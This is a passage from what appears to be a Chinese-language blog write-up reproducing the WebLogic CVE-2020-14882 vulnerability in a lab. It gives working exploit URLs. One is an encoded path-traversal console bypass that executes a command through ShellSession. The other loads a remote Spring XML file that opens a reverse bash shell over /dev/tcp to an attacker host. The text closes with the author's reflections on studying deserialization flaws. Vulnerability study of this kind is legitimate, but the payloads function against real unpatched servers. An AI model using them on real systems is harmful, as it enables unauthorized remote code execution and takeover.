,通过这个地址就能够进入后台
命令执行操作:
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/CVE-2020-14882%27);%22);
命令执行成功
反弹shell
创建一个xml文件
# reverse-bash.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
访问下面url即可进行shell反弹
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")
参考:https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
....暂时写到这吧
对于反序列化漏洞而言,原理都是相通的,从老洞开始研究不仅能够掌握更多基础原理,还能够体会防御和绕过的趣味。每次回过头来分析一编,总能有不一样的体会与理解。作为初学者,时间有限...近两年出来的洞只看了大概,还没来的及详细分析。关于Weblogic远不止这些,希望能够探测更多关于Weblogic底层的东西。